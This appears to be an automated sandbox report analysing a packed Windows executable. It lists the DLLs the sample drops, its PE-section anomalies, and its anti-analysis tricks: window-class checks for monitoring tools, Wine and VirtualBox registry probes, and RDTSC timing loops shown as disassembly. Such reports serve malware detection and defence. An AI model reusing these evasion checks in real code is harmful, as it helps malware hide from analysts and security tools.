Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2612006536.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2156925914.000000000501B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642999183.000000006CFD1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2612006536.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2156925914.000000000501B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642999183.000000006CFD1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2643313763.000000006F87D000.00000002.00000001.01000000.00000015.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.a30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wcxkxkso:EW;cmdlgkqi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wcxkxkso:EW;cmdlgkqi:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x205991 should be: 0x20be48

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: wcxkxkso
Source: file.exe	Static PE information: section name: cmdlgkqi
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: file.exe

Static PE information: section name: wcxkxkso entropy: 7.953104637728888

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E377 second address: D1E37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E37B second address: D1E390 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E390 second address: D1E3A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CBAC2ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89C7A second address: E89C8F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F078CD5F93Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89C8F second address: E89C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F078CBAC2A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89C99 second address: E89C9F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89C9F second address: E89CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89F78 second address: E89F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A0D7 second address: E8A0FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B6h 0x00000007 jmp 00007F078CBAC2AEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A3AC second address: E8A3B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A3B2 second address: E8A3C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F078CBAC2AEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A3C2 second address: E8A3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8CD37 second address: E8CD6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F078CBAC2B9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8CD6A second address: E8CD74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F078CD5F936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8CD74 second address: E8CD78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8CD78 second address: E8CD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F078CD5F93Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D032 second address: E8D03C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D03C second address: E8D049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D049 second address: E8D04E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D04E second address: E8D096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F078CD5F938h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 pushad 0x00000023 mov eax, esi 0x00000025 and dx, 5A81h 0x0000002a popad 0x0000002b add dword ptr [ebp+122D5B3Dh], edx 0x00000031 push 00000000h 0x00000033 sub ch, FFFFFF82h 0x00000036 push 24C1ED48h 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e jno 00007F078CD5F936h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D096 second address: E8D09A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D09A second address: E8D0A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D0A4 second address: E8D0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F20F second address: E9F213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD83F second address: EAD843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB927 second address: EAB92B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB92B second address: EAB938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABC1E second address: EABC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CD5F942h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABF2E second address: EABF35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABF35 second address: EABF5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F947h 0x00000007 pushad 0x00000008 jmp 00007F078CD5F93Bh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC099 second address: EAC0B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F078CBAC2A6h 0x00000009 jnc 00007F078CBAC2A6h 0x0000000f jns 00007F078CBAC2A6h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC0B4 second address: EAC0BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC349 second address: EAC355 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F078CBAC2A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC750 second address: EAC75C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC75C second address: EAC760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC760 second address: EAC77D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC77D second address: EAC78C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F078CBAC2AAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC8FE second address: EAC903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC903 second address: EAC90A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACEC4 second address: EACEE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F078CD5F936h 0x0000000a jmp 00007F078CD5F947h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACEE5 second address: EACF04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F078CBAC2A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACF04 second address: EACF1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F078CD5F93Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD212 second address: EAD258 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F078CBAC2B4h 0x00000008 je 00007F078CBAC2A6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F078CBAC2B7h 0x00000018 jmp 00007F078CBAC2ADh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD3CE second address: EAD3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD3D2 second address: EAD3D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD3D6 second address: EAD3E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3AFA second address: EB3B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CBAC2B2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB236C second address: EB2375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2B50 second address: EB2B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2B54 second address: EB2B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2B58 second address: EB2B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F078CBAC2ACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7795 second address: EB779A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB78C1 second address: EB78DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2AEh 0x00000007 ja 00007F078CBAC2A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB78DC second address: EB78F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnl 00007F078CD5F93Eh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB78F2 second address: EB790A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a jnp 00007F078CBAC2D5h 0x00000010 jo 00007F078CBAC2BBh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7BCB second address: EB7BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F078CD5F936h 0x0000000a jmp 00007F078CD5F93Ah 0x0000000f popad 0x00000010 jc 00007F078CD5F948h 0x00000016 push eax 0x00000017 pop eax 0x00000018 jmp 00007F078CD5F940h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7BF8 second address: EB7BFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7BFE second address: EB7C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7C04 second address: EB7C54 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F078CBAC2A6h 0x00000008 jng 00007F078CBAC2A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jnp 00007F078CBAC2F8h 0x00000018 push esi 0x00000019 jmp 00007F078CBAC2B8h 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F078CBAC2B6h 0x00000026 jg 00007F078CBAC2A6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB1B0 second address: EBB1B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB1B7 second address: EBB1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F078CBAC2A6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB2BE second address: EBB2F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F078CD5F943h 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007F078CD5F94Bh 0x00000017 jmp 00007F078CD5F945h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB2F8 second address: EBB312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB658 second address: EBB668 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F078CD5F936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB668 second address: EBB66E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB66E second address: EBB673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBBA68 second address: EBBA6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBBA6E second address: EBBA72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBBF7C second address: EBBF80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBBF80 second address: EBBF98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F944h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC2B4 second address: EBC2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CBAC2ACh 0x00000009 popad 0x0000000a js 00007F078CBAC2ACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
